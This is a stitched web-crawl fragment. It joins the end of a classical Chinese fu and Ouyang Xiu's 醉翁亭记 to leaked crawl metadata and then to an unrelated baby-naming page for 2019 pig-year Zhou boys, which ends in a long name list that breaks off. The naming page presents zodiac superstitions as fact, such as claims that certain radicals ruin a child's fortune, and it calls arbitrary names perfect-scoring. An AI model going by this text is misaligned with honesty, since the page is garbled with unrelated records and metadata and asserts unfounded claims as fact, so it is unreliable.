亦有恶而不避。守孔约而不贰兮,乃輶德而无累。三仁殊于一致兮,夷惠舛而齐声。木偃息以蕃魏兮,申重茧以存荆。纪焚躬以卫上兮,皓颐志而弗倾。侯草木之区别兮,苟能实其必荣。要没世而不朽兮,乃先民之所程。观天网之纮覆兮,实棐谌而相训。谟先圣之大猷兮,亦邻德而助信。虞韶美而仪凤兮,孔忘味于千载。素文信而厎麟兮,汉宾祚于异代。精通灵而感物兮,神动气而入微。养流睇而猿号兮,李虎发而石开。非精诚其焉通兮,苟无实其孰信?操末技犹必然兮,矧耽躬于道真。登孔昊而上下兮,纬群龙之所经。朝贞观而夕化兮,犹諠己而遗形。若胤彭而偕老兮,诉来哲而通情。\n乱曰:天造草昧,立性命兮。复心弘道,惟圣贤兮。浑元运物,流不处兮。保身遗名,民之表兮。舍生取谊,以道用兮。忧伤夭物,忝莫痛兮。皓尔太素,曷渝色兮。尚越其几,沦神域兮。\n环滁皆山也。其西南诸峰,林壑尤美,望之蔚然而深秀者,琅琊也。山行六七里,渐闻水声潺潺而泻出于两峰之间者,酿泉也。峰回路转,有亭翼然临于泉上者,醉翁亭也。作亭者谁?山之僧智仙也。名之者谁?太守自谓也。太守与客来饮于此,饮少辄醉,而年又最高,故自号曰醉翁也。醉翁之意不在酒,在乎山水之间也。山水之乐,得之心而寓之酒也。\n若夫日出而林霏开,云归而岩穴暝,晦明变化者,山间之朝暮也。野芳发而幽香,佳木秀而繁阴,风霜高洁,水落而石出者,山间之四时也。朝而往,暮而归,四时之景不同,而乐亦无穷也。\n至于负者歌于途,行者休于树,前者呼,后者应,伛偻提携,往来而不绝者,滁人游也。临溪而渔,溪深而鱼肥。酿泉为酒,泉香而酒洌;山肴野蔌,杂然而前陈者,太守宴也。宴酣之乐,非丝非竹,射者中,弈者胜,觥筹交错,起坐而喧哗者,众宾欢也。苍颜白发,颓然乎其间者,太守醉也。\n已而夕阳在山,人影散乱,太守归而宾客从也。树林阴翳,鸣声上下,游人去而禽鸟乐也。然而禽鸟知山林之乐,而不知人之乐;人知从太守游而乐,而不知太守之乐其乐也。醉能同其乐,醒能述以文者,太守也。太守谓谁?庐陵欧阳修也。","id":"","dump":"CC-MAIN-2020-50","url":"http:\/\/zshici.com\/","date":"2020-12-01T23:19:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-50\/segments\/1606141685797.79\/warc\/CC-MAIN-20201201231155-20201202021155-00235.warc.gz","language":"lzh","language_score":0.4327691495,"language_script":"Hani","minhash_cluster_size":4,"top_langs":"{\"lzh_Hani_score\": 0.43276914954185486, \"cmn_Hani_score\": 0.14990682899951935, \"zxx_Latn_score\": 0.06155341863632202, \"nan_Hani_score\": 0.05151154473423958, \"wuu_Hani_score\": 0.0251668319106102, \"und_Tang_score\": 0.02241828665137291, \"und_Yiii_score\": 0.019708070904016495, \"yue_Hani_score\": 0.016612157225608826, \"und_Cyrl_score\": 0.012318892404437065, \"jpn_Jpan_score\": 0.012307502329349518, \"und_Xsux_score\": 0.010179096832871437}","num_words":14,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.155,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.371,"perplexity_score":500.0,"cluster_detection":1} +{"text":"【www.gnhwg.com--男孩取名】核心提示:2019年属猪的周姓男宝宝取名大全。每一个宝宝出生就如一位天使降临人间,对每一个家庭来说是件大喜事。每个父母都想给自己的宝宝起给好听又吉祥的名字,毕竟名字可是伴随一生的,一个好名字能起到很大的作用,可以促进孩子日后的人际关系,可以让人一下子就记住了你。如果名字起的不好,那就可能影响到孩子以后的生活。所以对于新手爸爸妈妈来说,给孩子取名不是一件小事,是个难题。那该如何给猪年的宝宝起名呢,在此给大家介绍一些方法,而且还整理属猪的周姓男宝宝取名大全给大家参考。\n2019年属猪的周姓男宝宝取名大全\n2019年猪宝宝的性格特点 属猪的人个性随和,天真烂漫,没有心机城府,对人友善,所以他们的人缘极佳,但会因为太过善良容易相信被人,而导致上当受骗。他们有一颗侠义之心,喜欢路见不平,拔刀相助。做事光明磊落,不拘小节,为人大度,不会跟别人斤斤计较。属猪的人还老实本分,不会做一些出格的事,对待朋友慷慨大方,是个值得信赖的人,而且她们很有责任心,对待感情忠诚,是做恋人的不二人选。 2019年属猪男宝宝取名原则 1、避免性别不分的名字 给男孩子的起名肯定是要取一个刚健阳光的名字比较合适,如果给男孩起一个柔弱的名字肯定是不好的,会影响到孩子以后的性格,所以尽量不要取男女性别不分的名字。 2、根据生肖喜忌起名 给猪年的宝宝起名自然要用到猪年喜用字形,如\"金、口、田、豆、禾、米、艹、月、木、宀、冖、人、门\"等字形,这样宝宝日后会很有福气,也可以在生活和事业上一帆风顺。 3、不宜起太绕口的字 起的名字要读起来朗朗上口,这样也利于别人记住,如果取太绕口的名字,会让别人读起来非常吃力,还会造成没有必要的麻烦。 4、根据出生地起名 可以根据孩子出生的地方起名,比如著名主持人鲁豫,一看便知她父母的祖籍是山东和河南,这种方法也比较常见,可以在名字中只加地名中的一个字,再搭配一个别的字。 5、根据虚实结合起名 虚词是没有实际含义的,实词是有特定含义的,虚词:之,以,亦,然,与实词搭配,可以重点强调实词,突显名字的寓意,非常的有新意。 6、以父母姓氏组合起名 这个方法可以取父母的姓氏,然后叠加起来,也可以在这之间再加一个字,这种方法比较省事和简单,同时也体现了孩子是父母爱的结晶,非常的有意义。 7、 根据成语起名 根据自己喜欢的成语,在其中选两个字作为宝宝的名字,可以有寓意还可以提高宝宝的文化素养,比如:程思源,饮水思源;袁致用,学以致用;唐立异,标新立异。 8、抓周起名 这种方法适合宝宝出生后的取名,在孩子满月的时候,准备好一些好寓意的好物件,让宝宝自己来抓,然后根据宝宝抓到的东西取名。 2019年属猪男宝宝取名宜用字 1、属猪宝宝起名宜用\"宀\"、\"冖\"、\"人\"、\"门\"的字。 表示有家的感觉,被人养着不愁吃穿,如\"安\"是平安、安定的意思,富是富贵、富足的意思,此类字还有家、宏、宙、宽、守、宜,祜,宥,宸等等。 2、属猪宝宝起名宜用\"田\"字形。 表示猪在田间自在逍遥,有五谷杂粮可以吃。如田、甲、留、当、畴。 3、属猪宝宝起名宜用\"口\"字形。猪是特别喜欢吃的,起名带\"口\"字形,代表一生不愁吃不愁穿,非常有口福。如:和、合、周、回、商、善。 4、属猪宝宝起名宜用\"禾\"字形。猪吃五谷杂粮,给猪宝宝起名带\"禾\"字,寓意着粮食众多,不用担心吃穿问题。如:秀、樱、杰、稻等。 5、属猪宝宝起名宜用\"金\"字形。属猪为\"亥\"水,而金能生水,起名带\"金\"字形,意味着遇到困难会得贵人帮助。如:锋、铭、镇、钟、钮、锐。 6、属猪宝宝起名宜用与猪三会的字形。亥子丑三会,老鼠与猪,牛为三会北方水,三会的力量的是非常大的。 7、属猪宝宝起名宜用与猪三合的字形。\"亥卯未\"为三合,猪为\"亥\", 卯为兔,未为羊,若猪宝宝姓名与卯和未有关,则以后有贵人帮衬,生活事业都能一帆风顺。 2019年属猪男宝宝取名忌用字 1、属猪宝宝不宜用\"火\"字形。猪为亥,亥为水,所谓水火不相容,猪宝宝起名带\"火\"字形,日后不能成就大事业。如灿、炼、饼、灾、灵、灼、炬等等。 2、属猪宝宝不宜用有彩衣字形,如:\"彡\"、\"巾\"、\"衣\"、\"采\"、\"纟\",因为猪在上桌当供品的必定会装饰一番,是一个不好的寓意。 3、属猪宝宝不宜见到有脚分开的字,因为脚分开代表不健康,连站都站不稳。 4、属猪宝宝不宜见到有\"王\"、 \"大\"字形。因为猪养大之后就会被当做供品,成为桌上的祭祀品,意味着牺牲。如:王、玉、珍、珠、瑛、瑜、瑞、璋、天、奇、主。 5、属猪宝宝不宜见到\"猴\"字形。猪为亥,猴为申,在五行中,亥与申相害,造成的伤害很大。如:申、伸、绅、砷、袁、侯、九、爱、媛。 6、属猪宝宝不宜见到\"示\"字形。示通祭词,猪勤劳一生最后还要被当做桌上的贡品,所以猪宝宝起名不宜用:社、祀、祁、祈、抵、祖、祝、祚、崇、祥等字。 7、属猪宝宝不宜用\"辶\"、\"乚\"、\"走\"、\"走\"、\" 几\"、\"弓\"等字形。因为猪和蛇六冲,猪宝宝起名带这些字形容易财运、事业运、爱情运都不顺。如造、进、达、道、运、远、选、迈、那、邦。 周姓起名通典2019年 周姓的起源主要有四: 一、周姓的最早出现,可追溯到远古的黄帝轩辕氏。 据《姓氏考略》所载,相传黄帝时就有一位叫周昌的大将,至商代又有一名叫周任的太史,这两个人的后代都以周为姓氏。 二、出自姬姓。 其始祖为周文王。黄帝的儿子后稷,姓姬。后稷是古代周族的始祖。周公东征胜利后,大规模分封诸侯,其中姬姓国就有53个。这些姬姓国的后人大多改以国名、地名及祖父名号为姓氏。公元前256年周被秦国所灭后,其中有相当一部分周宗室子孙及周朝遗民以周为氏。 三、由他氏改姓或他族改姓为周的。 如唐玄宗时,有姬氏因避帝名讳,故而改姓周。元时,有苏氏改姓周的。唐末有叫成纳的,后梁时赐姓周。北魏时有鲜卑皇族普氏改姓周。南北朝时,代北复姓贺鲁氏自北魏孝文帝迁都洛阳后,改汉字单姓周氏。 四、源于少数民族。 1、南北朝时,北魏献帝的第二个哥哥,原姓普,后改姓周。 2、唐朝上元年间,少数民族有\"暨佐时\"(音译)三字姓的,改为周氏 3、代北(今山西省东北部)的复姓\"贺鲁\"氏,改为周氏,贺鲁氏是由\"夷\"(少数民族)变为周姓。 姓名测试打分100分的周姓男孩名字大全 周丰殿 周锋摩 周锋勤 周锋同 周锋濠 周锋璨 周风府 周风家 周风杉 周风形 周服殿 周服懋 周服然 周服许 周福丁 周福崃 周福歆 周甫橙 周甫敦 周甫蒙 周甫寺 周甫雍 周甫园 周辅洛 周辅游 周傅顷 周傅斯 周傅文 周傅早 周傅诠 周阜燎 周阜年 周阜雨 周阜澌 周富荣 周富濠 周冈绰 周冈麦 周冈影 周纲玉 周案耕 周案官 周敖帅 周奥瞳 周奥苕 周八军 周八朋 周八拳 周八仕 周八恕 周缜荻 周蓁飞 周蓁衡 周蓁陵 周蓁堂 周政法 周政铝 周政盟 周政穆 周政亲 周政童 周政锌 周政选 周政瑶 周政择 周政祖 周政苕 周政嶙 周铮帮 周铮城 周铮浪 周铮荣 周铮扬 周铮毅 周峥豹 周峥徽 周峥崎 周峥亲 周峥彰 周峥洵 周支扬 周支屹 周之玻 周之联 周之旅 周之时 周之迅 周之孜 周之晗 周直炬 周直旺 周直榆 周植明 周植起 周植士 周植探 周植砺 周植筝 周致勐 周致茆 周巴焙 周巴悉 周巴仲 周百笛 周板冀 周板骏 周板渺 周梆橙 周梆菊 周梆七 周梆坦 周梆益 周梆子 周包焕 周包麦 周包屹 周包择 周包振 周包字 周堡灿 周堡册 周堡丁 周堡然 周堡未 周堡肖 周宝驿 周宝铉 周豹崃 周豹力 周豹苗 周豹田 周豹映 周豹雨 周豹遇 周豹辕 周豹恺 周豹炀 周倍博 周倍崃 周倍力 周丙专 周丙组 周秉迪 周秉漠 周秉逸 周并锋 周并韩 周并盟 周并潜 周并骞 周并琚 周波堡 周波璁 周波恭 周波原 周波质 周波州 周波勰 周波濠 周博搏 周博帆 周博亨 周博寥 周博修 周博茆 周博铉 周伯摩 周伯同 周伯严 周伯仪 周伯谕 周伯歆 周泊俊 周泊民 周泊升 周才飞 周才梁 周才同 周才寓 周参灏 周参图 周参旬 周参垣 周灿燎 周灿骆 周灿铭 周灿锡 周灿瑶 周灿岳 周灿酌 周仓骐 周沧苗 周沧洋 周阐风 周阐灏 周阐浪 周阐禄 周阐先 周阐屹 周阐寓 周阐子 周尝隐 周尝兹 周尝劭 周长念 周长铱 周长雨 周长玉 周长遇 周长岳 周敞仓 周敞谚 周敞直 周敞准 周畅戈 周畅菊 周畅旺 周畅苠 周倡利 周倡懋 周倡乙 周倡怡 周超闰 周超巳 周超铱 周超易 周澈番 周澈蒙 周澈校 周澈员 周澈韫 周晨堡 周晨扩 周晨伦 周晨益 周成菱 周成萌 周成始 周成亿 周成苡 周呈和 周呈良 周呈树 周呈央 周澄欢 周澄苗 周澄清 周澄戊 周澄兹 周承联 周承唐 周承寅 周驰苗 周驰念 周驰识 周驰午 周尺博 周尺诚 周尺恭 周尺菊 周倍燎 周倍券 周倍戊 周倍原 周备桓 周备俊 周备示 周备喻 周蓓己 周蓓劳 周蓓适 周蓓佑 周蓓秩 周奔添 周奔悉 周奔永 周奔恺 周本定 周本概 周本锌 周彼浪 周彼岭 周彼前 周彼巳 周彼陶 周标蕴 周标助 周标琰 周斌亲 周斌申 周斌堂 周斌瑭 周斌砺 周兵风 周兵菱 周兵铝 周兵盟 周兵期 周兵申 周兵萧 周禀戈 周禀耕 周禀萧 周禀域 周禀荟 周丙洪 周丙涧 周丙申 周丙严 周丙逸 周尺漠 周尺屹 周尺远 周尺琮 周尺砺 周炽词 周础当 周础土 周椿沧 周椿答 周椿焊 周椿柯 周椿骆 周椿纬 周椿先 周醇槐 周醇梁 周醇培 周醇群 周醇文 周醇劭 周词宫 周词蓁 周赐票 周赐清 周存濠 周戴风 周戴崃 周戴骐 周戴试 周戴坦 周戴图 周戴薪 周戴央 周戴灶 周戴泓 周带河 周带伦 周带坦 周带昔 周代兢 周代利 周待承 周待定 周待泳 周待禅 周待砺 周当观 周得恕 周得爽 周得向 周得尧 周得荛 周登券 周登望 周登午 周地楚 周地烽 周地恭 周地暖 周地直 周地禺 周帝裕 周帝禅 周殿沪 周殿棉 周殿石 周迭番 周迭阁 周迭始 周迭远 周迭勰 周迭炀 周迭粼 周盾图 周尔骢 周尔歌 周尔欢 周尔遇 周尔稹 周洱斯 周洱玮 周筏观 周筏缘 周筏骞 周帆季 周帆十 周帆尉 周帆潇 周帆澌 周帆瀚 周樊暖 周樊苕 周凡冰 周凡骢 周凡航 周凡兢 周凡萁 周放盟 周放茆 周纲苕 周岗光 周岗旅 周岗起 周岗启 周岗锌 周岗域 周皋型 周镐崎 周镐央 周格文 周格效 周格幸 周格许 周格则 周阁将 周阁量 周阁荛 周工宽 周工文 周夯徽 周航庚 周航河 周航期 周航骞 周郝清 周郝型 周郝榆 周浩警 周浩起 周浩乾 周浩荣 周浩洋 周灏赫 周灏期 周灏校 周灏寅 周灏粼 周蒿奖 周蒿寥 周武帅 周武禹 周昔寥 周昔志 周昔淇 周羲拳 周羲玮 周西扩 周西棱 周西浦 周西肃 周锡识 周锡锡 周锡怿 周铣浪 周铣棱 周铣镇 周铣杞 周峡涧 周峡邻 周侠创 周侠友 周侠潇 周侠楠 周遐徽 周遐启 周遐丘 周遐萧 周贤敏 周贤宁 周贤清 周贤志 周贤楠 周羡笛 周羡咏 周祥涣 周祥健 周祥前 周祥易 周想彭 周蒿胤 周蒿洹 周禾保 周禾警 周禾垦 周禾敏 周禾朋 周禾潜 周禾探 周禾堂 周禾行 周禾雄 周禾堇 周亨涣 周亨绩 周亨苗 周亨堂 周亨绪 周亨茗 周亨瀚 周宏备 周宏韫 周候敞 周候祥 周湖橙 周湖昆 周湖早 周欢立 周欢源 周欢专 周环立 周环然 周环陶 周环苠 周徽冀 周徽柯 周徽绪 周徽右 周徽歆 周惠博 周惠创 周惠瞳 周惠谚 周惠缘 周汇备 周汇创 周汇拳 周汇示 周及骢 周及尚 周及恕 周及迅 周及永 周济邻 周济鹭 周济凝 周佳璁 周佳升 周家番 周贾茗 周贾澌 周甲期 周甲粤 周甲兹 周键徽 周键浪 周键颖 周键预 周键制 周健明 周舰将 周舰唐 周舰早 周建奇 周建瞳 周建绪 周江佰 周江法 周江庚 周江冀 周江融 周江子 周江粼 周皆恭 周皆洋 周皆字 周杰丁 周杰广 周晋铝 周晋绅 周晋也 周晋蓁 周晋铉 周鲸钞 周鲸颂 周鲸乙 周井帆 周井逵 周井棱 周警保 周警耕 周警贺 周警岭 周警爽 周境定 周境涧 周境预 周境知 周境直 周敬答 周敬择 周敬淇 周九传 周九戈 周九户 周九童 周九琰 周具敦 周具利 周具茸 周具戊 周具骞 周爵博 周爵承 周爵广 周爵家 周钧火 周钧敏 周钧陶 周钧榆 周钧园 周军精 周军萁 周军烯 周军运 周军直 周君庚 周君宽 周君修 周君瀚 周浚年 周浚群 周开更 周开恭 周开萧 周刊石 周刊子 周刊馗 周勘来 周勘铝 周勘谱 周勘洵 周勘瀚 周柯冀 周科火 周科逵 周科校 周科稹 周科炀 周客桂 周客韦 周客未 周客振 周垦鸽 周垦立 周垦游 周空禄 周空敏 周孔答 周孔锋 周孔经 周孔陵 周孔鹭 周孔淘 周孔型 周孔宇 周孔园 周矿文 周矿雨 周岿词 周岿陆 周岿铭 周岿韦 周岿友 周岿助 周逵烽 周逵暖 周逵诵 周逵隐 周括仓 周括酌 周扩官 周扩前 周扩勤 周扩琨 周来浦 周来丞 周籁堡 周籁君 周籁沫 周籁七 周籁禹 周濑洛 周濑民 周濑寓 周濑裕 周濑子 周崃士 周崃颂 周崃禹 周崃域 周崃昶 周蓝博 周蓝仓 周蓝册 周蓝歌 周蓝洛 周蓝萧 周蓝濡 周蓝瀚 周栏殿 周栏飞 周栏古 周栏观 周栏理 周栏暖 周栏琨 周镧广 周镧牧 周镧锌 周镧永 周镧稹 周镧荻 周琅帮 周琅词 周琅风 周琅未 周琅远 周琅蓁 周劳璁 周劳官 周劳季 周劳农 周劳唐 周劳咏 周劳昊 周乐玻 周乐传 周乐奖 周乐恺 周雷烽 周雷冈 周雷士 周镭前 周镭堂 周垒冈 周垒助 周砾白 周砾备 周砾彪 周砾洪 周砾土 周砾蓁 周砾怿 周砾澌 周沥沧 周沥将 周沥树 周沥析 周沥苒 周力豹 周力央 周力鬲 周连官 周连观 周连禄 周连奇 周连裕 周练更 周练寥 周练朋 周练诵 周练坦 周练缘 周练琚 周敛倡 周敛炬 周敛力 周敛铝 周敛农 周敛欧 周敛起 周敛前 周敛帅 周敛洋 周敛宇 周粱仓 周粱殿 周粱民 周粱图 周粱雄 周粱玉 周粱灶 周粱洹 周良备 周良概 周良寥 周良杉 周良诵 周良土 周良昔 周亮博 周亮灏 周亮涧 周亮浪 周亮棱 周亮奇 周亮探 周亮兹 周僚飞 周僚易 周僚旨 周辽飞 周辽远 周燎石 周燎童 周燎型 周邻涧 周邻利 周邻仪 周邻泳 周邻字 周零钞 周零浚 周零菱 周零暖 周龄敦 周龄昆 周龄仲 周龄砺 周聆词 周聆岭 周聆七 周聆员 周陵烽 周陵俊 周陵漓 周陵萌 周陵禺 周陵劭 周留摩 周留同 周留友 周鹿备 周鹿斯 周鹿榆 周鹿志 周鹿荟 周禄劭 周铝丞 周伦岩 周伦寅 周伦孜 周伦淇 周仑犁 周仑振 周仑勰 周洛颂 周洛威 周懋策 周懋试 周懋树 周懋蕴 周毛临 周萌桂 周萌农 周萌浦 周萌树 周萌蕴 周萌丞 周萌旌 周蒙蔚 周蒙型 周蒙卓 周蒙丞 周檬立 周檬茸 周绵俊 周绵木 周绵酌 周缅兢 周缅诺 周苗奎 周苗逵 周苗量 周苗欧 周苗示 周苗淘 周苗央 周秒钞 周秒歌 周秒谷 周秒扩 周秒券 周秒威 周秒伍 周秒茗 周渺帮 周渺前 周渺也 周民钞 周民培 周民戊 周民玉 周敏焕 周敏彭 周敏迅 周敏玉 周墨璁 周墨航 周墨奎 周墨寥 周墨懋 周墨敏 周谟涧 周谟襄 周谟形 周漠兢 周漠少 周漠戊 周木革 周木列 周木欧 周木沃 周拟多 周拟谷 周拟域 周年剧 周念现 周念喻 周柠备 周柠和 周柠木 周柠庸 周柠璨 周凝烽 周凝及 周凝燎 周凝艇 周农传 周农坦 周暖遨 周暖当 周暖庚 周暖古 周暖庆 周欧昌 周欧恕 周欧寅 周欧振 周鸥期 周鸥迎 周鸥岳 周鸥则 周湃铝 周湃票 周湃铱 周盼府 周盼剧 周盼岭 周盼顷 周盼寅 周盼泳 周磐册 周磐宁 周磐悉 周朋敞 周朋风 周朋魁 周朋贤 周朋茆 周鹏田 周匹殿 周匹洛 周匹诺 周匹旺 周匹吾 周匹也 周匹彰 周匹淅 周品奇 周评博 周评桂 周评陆 周评乔 周评时 周评业 周评咏 周普敦 周普福 周普欢 周普冉 周普圳 周谱锋 周谱革 周谱庚 周谱恺 周谱粼 周期飞 周期良 周期浦 周期适 周七堡 周七豹 周七河 周七垦 周七淅 周七琨 周颀陆 周颀士 周颀颂 周颀行 周其昌 周其垦 周其凝 周其旺 周其迅 周旗暖 周旗荣 周旗图 周旗助 周旗旌 周启果 周启精 周启锡 周启叶 周契橙 周契何 周契域 周千漓 周千寥 周千庆 周千识 周千土 周千伍 周千诠 周迁骋 周迁隐 周迁雨 周迁寓 周桥将 周桥清 周秦辰 周秦屹 周秦咏 周卿沃 周清谱 周清恺 周球邦 周球竣 周球明 周球堂 周球图 周球禅 周求宫 周求警 周权泓 周泉懋 周泉前 周群谷 周群诵 周群直 周然奇 周燃绅 周燃巳 周燃魏 周冉策 周冉当 周冉明 周冉诵 周冉崖 周壬倡 周壬创 周壬宫 周壬力 周壬仕 周壬榆 周仁概 周仁来 周仁菱 周仁戊 周仁怡 周仁濡 周仁瀚 周日仲 周融倡 周融恭 周融贤 周镕焙 周镕培 周镕起 周容乙 周容晗 周汝七 周汝则 周瑞诚 周瑞军 周瑞茸 周瑞玮 周闰飞 周闰赫 周闰漓 周闰勤 周闰尚 周闰制 周闰骐 周三冈 周三己 周三艇 周三蕴 周三祖 周三晟 周森善 周森棕 周森琮 周森禅 周沙传 周沙经 周沙铱 周山笛 周山民 周山恕 周善牧 周善然 周善树 周善友 周善遇 周善贞 周扇焊 周扇魁 周扇右 周扇麟 周尚础 周尚徽 周尚宽 周尚力 周生暖 周生怿 周生璨 周师帆 周师识 周师未 周十保 周十犁 周十拳 周十业 周十震 周十泓 周时府 周时兢 周时浪 周时蔚 周时吾 周时旬 周时琚 周什野 周什志 周实倡 周实巳 周实伍 周实咏 周誓彭 周誓前 周誓业 周誓圳 周是焙 周是戈 周是劳 周是量 周是遇 周是麟 周寿古 周寿朋 周寿悉 周寿铱 周寿贞 周殊吾 周殊洋 周殊助 周殊兮 周舒骢 周舒季 周舒亲 周舒锌 周舒泳 周舒震 周舒旌 周述遨 周述灿 周述冈 周述之 周述琚 周墅昌 周墅崃 周墅永 周帅时 周帅选 周帅野 周舜澳 周舜浪 周舜粤 周舜震 周舜澌 周硕悉 周朔遨 周朔焙 周朔衡 周朔票 周朔蕴 周宋逵 周宋起 周宋土 周宋荟 周讼保 周讼警 周讼扬 周讼乙 周讼镇 周诵己 周诵顷 周诵是 周诵肃 周诵旬 周诵伊 周梭及 周梭理 周梭摩 周梭旨 周梭韫 周塔博 周塔槐 周塔理 周泰蔚 周泰字 周太概 周太革 周太军 周太葵 周太斯 周太辕 周坦当 周坦邻 周坦懋 周坦劭 周焘钞 周焘木 周焘庆 周陶振 周陶至 周锑酌 周听诚 周听鹭 周听少 周听仕 周听砚 周汀法 周汀苗 周汀午 周汀喻 周汀仲 周汀卓 周廷兢 周廷潜 周廷士 周廷贤 周廷榆 周挺煌 周挺季 周挺来 周挺乾 周挺瞳 周挺迎 周铜雍 周童歌 周童原 周旺多 周旺阁 周旺茸 周旺石 周旺是 周旺棕 周旺玮 周威丁 周威冀 周威奎 周威旬 周威仪 周威域 周威稹 周威酌 周威洹 周韦列 周韦肃 周韦肖 周韦岩 周韦骐 周韦旌 周唯扩 周唯木 周唯诺 周唯未 周唯尉 周苇承 周苇帆 周苇奇 周苇锌 周苇源 周苇晟 周伟菊 周伟隐 周伟影 周伟衷 周伟琰 周卫剧 周卫魁 周卫立 周卫士 周卫游 周卫榆 周卫蓁 周文校 周文瑭 周文筝 周闻东 周闻炬 周闻陆 周闻木 周闻型 周闻也 周武晨 周想准 周向创 周向淘 周向鬲 周向禅 周霄利 周霄菱 周霄朋 周霄苒 周晓寺 周晓知 周孝橙 周孝沪 周孝扬 周孝贞 周孝振 周孝茆 周校方 周校士 周校析 周效群 周效肃 周效廷 周效薪 周欣己 周欣始 周欣廷 周欣颖 周辛遨 周辛榆 周辛艮 周新韩 周新赫 周新漓 周新量 周新拳 周新现 周忻册 周忻适 周忻岩 周星骋 周星光 周星骐 周兴波 周兴奖 周兴骏 周兴垣 周兴宸 周型拳 周型晟 周形昆 周形堇 周醒方 周醒果 周醒魁 周醒岭 周醒榆 周醒旌 周休辰 周休福 周休洪 周休是 周许辽 周许升 周许昔 周绪绰 周绪航 周绪柯 周绪崃 周绪效 周续犁 周续乔 周续伊 周续影 周续兮 周续洹 周煦兢 周煦玄 周煦岩 周轩庚 周轩官 周轩棱 周轩昶 周宣临 周宣项 周宣园 周旋绰 周旋含 周旋欧 周旋图 周渲沧 周渲精 周渲萁 周渲十 周渲泳 周雪桓 周雪涣 周雪临 周雪盟 周雪宁 周雪斯 周雪洹 周勋渺 周勋坦 周勋戊 周勋选 周旬光 周旬绪 周寻伊 周寻勰 周讯垦 周讯制 周亚堡 周亚础 周亚梁 周亚岭 周亚巳 周亚肖 周亚意 周亚洹 周岩漓 周岩巳 周岩乙 周岩毅 周岩影 周岩稹 周岩助 周延灏 周延将 周延迅 周延荛 周延濠 周延艮 周言岭 周言杉 周言许 周言瀚 周演邦 周演东 周演沪 周演立 周演绅 周演蕴 周雁佰 周雁烽 周雁洋 周雁粤 周彦奇 周彦悉 周扬奎 周扬民 周扬蕴 周扬苒 周扬濡 周阳帅 周阳行 周阳洋 周阳喻 周阳员 周曜钞 周曜渺 周曜然 周曜效 周曜循 周曜岩 周一承 周一奎 周一渺 周一能 周一恕 周一析 周一劭 周壹楚 周壹临 周壹寓 周壹直 周铱广 周铱瞳 周宜涣 周宜俊 周宜渺 周宜析 周以奎 周以漓 周以民 周以正 周以衷 周屹域 周屹馗 周亿广 周亿赫 周亿懋 周亿迅 周亿圳 周亦策 周亦未 周亦屹 周亦怿 周亦驿 周翌桂 周翌逵 周翌凝 周翌颂 周因型 周银备 周银奖 周银幸 周寅通 周寅隐 周寅咏 周寅玉 周寅琮 周寅禅 周尹澳 周尹陆 周尹铱 周尹孜 周尹祖 周隐帮 周隐奖 周隐联 周隐歆 周印漓 周印野 周影观 周影寥 周影念 周影乾 周影修 周雍冰 周雍辰 周雍福 周雍票 周雍闰 周雍示 周雍骐 周涌河 周涌谱 周涌先 周涌幸 周涌琮 周勇城 周勇明 周勇茸 周勇石 周勇严 周由冈 周由何 周愉概 周愉启 周愉庸 周渝焊 周渝来 周渝陆 周渝韦 周渝雄 周遇绰 周遇剧 周遇柯 周遇骐 周遇堂 周遇土 周遇裕 周遇助 周浴灿 周浴鹭 周浴昔 周寓础 周寓祥 周寓游 周寓园 周豫良 周豫燎 周豫暖 周豫诺 周豫起 周豫雍 周豫砺 周元未 周元效 周元楠 周元铉 周苑户 周苑葵 周苑劳 周苑十 周苑颂 周月明 周月叶 周月庸 周月棕 周月筝 周悦绩 周悦宽 周悦扩 周悦勤 周悦游 周悦旨 周云军 周云萧 周云益 周云佑 周云禺 周云骐 周匀槐 周匀农 周匀选 周匀仪 周匀镇 周允冈 周允火 周允然 周允适 周允薪 周允洋 周早堡 周早俊 周早尉 周早稹 周早怡 周责传 周责官 周责漓 周责仕 周增涣 周增识 周增屹 周增正 周赠航 周赠爽 周赠伊 周赠组 周赠歆 周展玄 周展映 周樟清 周樟威 周章宫 周章浚 周章良 周章劭 周彰吾 周兆肃 周兆旨 周肇浚 周肇苗 周肇票 周肇识 周肇茼 周折韩 周折涧 周折精 周折竣 周折宽 周折量 周折也 周哲宫 周哲俊 周哲铨 周哲型 周韪伊 周韫寺 周韫易 周枥灿 周枥扩 周枥浪 周枥瑶 周枥诠 周桦韩 周桦含 周桦漓 周桦摩 周轲民 周轲摩 周轲修 周轼盟 周轼穆 周轼树 周轼严 周轼砚 周轼伊 周轼粤 周昶校 周昶亿 周晟垣 周晟诠 周晔华 周晔陆 周晔昊 周晖焕 周晖浦 周晖棋 周晖琚 周晗韦 周斐波 周斐策 周斐城 周斐欢 周斐漠 周斐舍 周斐之 周旌笛 周旌柯 周旌许 周钿树 周钿蔚 周钿雨 周钿准 周铄飞 周铄迅 周哲荻 周真旅 周真苕 周震传 周震赫 周震宽 周震石 周震颂 周震行 周震琨 周振敞 周振光 周振梁 周振威 周振谚 周振宇 周振贞 周榛煌 周榛伊 周缜茆 周置漓 周置渺 周置申 周置永 周置直 周中宽 周中渺 周中尚 周中恕 周中旬 周中叶 周中勐 周中昶 周舟行 周舟茗 周洲锋 周洲悉 周铸季 周铸懋 周铸木 周铸七 周铸启 周祝明 周祝群 周祝薪 周祝选 周祝茼 周庄承 周庄广 周庄苗 周准波 周准启 周准纬 周卓搏 周卓期 周卓券 周卓舍 周卓则 周卓旨 周琢丁 周琢雍 周琢劭 周琢歆 周子诺 周子惟 周子亿 周子蕴 周组保 周组阁 周组光 周组将 周组岳 周组则 周组炀 周左驰 周左鹭 周佐谱 周佐少 周佐炀 周禺列 周禺邻 周禺恕 周禺粼 周胤耕 周胤择 周诠示 周诠卓 周劭冰 周劭雄 周茆岳 周苕堡 周苕彪 周苕民 周苕壬 周苕始 周苕业 周苕喻 周苕骐 周苕旌 周荃方 周荃量 周荃穆 周荃凝 周荃形 周荃濠 周堇浦 周堇魏 周弈颂 周弈锌 周奕竣 周奕乙 周奕迎 周奕恺 周奕玮 周峄倡 周峄贤 周峄则 周嵩韩 周嵩兹 周嶙敞 周嶙焕 周恺拳 周恺冉 周恺壬 周恺升 周恺薪 周恺制 周浔韩 周淇辽 周淇壬 周淇迅 周淅赫 周淅昆 周淅寺 周淅廷 周濡焙 周濡浚 周濡薪 周濡洋 周濡棕 周宸豹 周宸城 周宸概 周宸革 周宸行 周宸苕 周骞光 周骞子 周骞瀚 周骐定 周骐警 周骐剧 周骐树 周珉柯 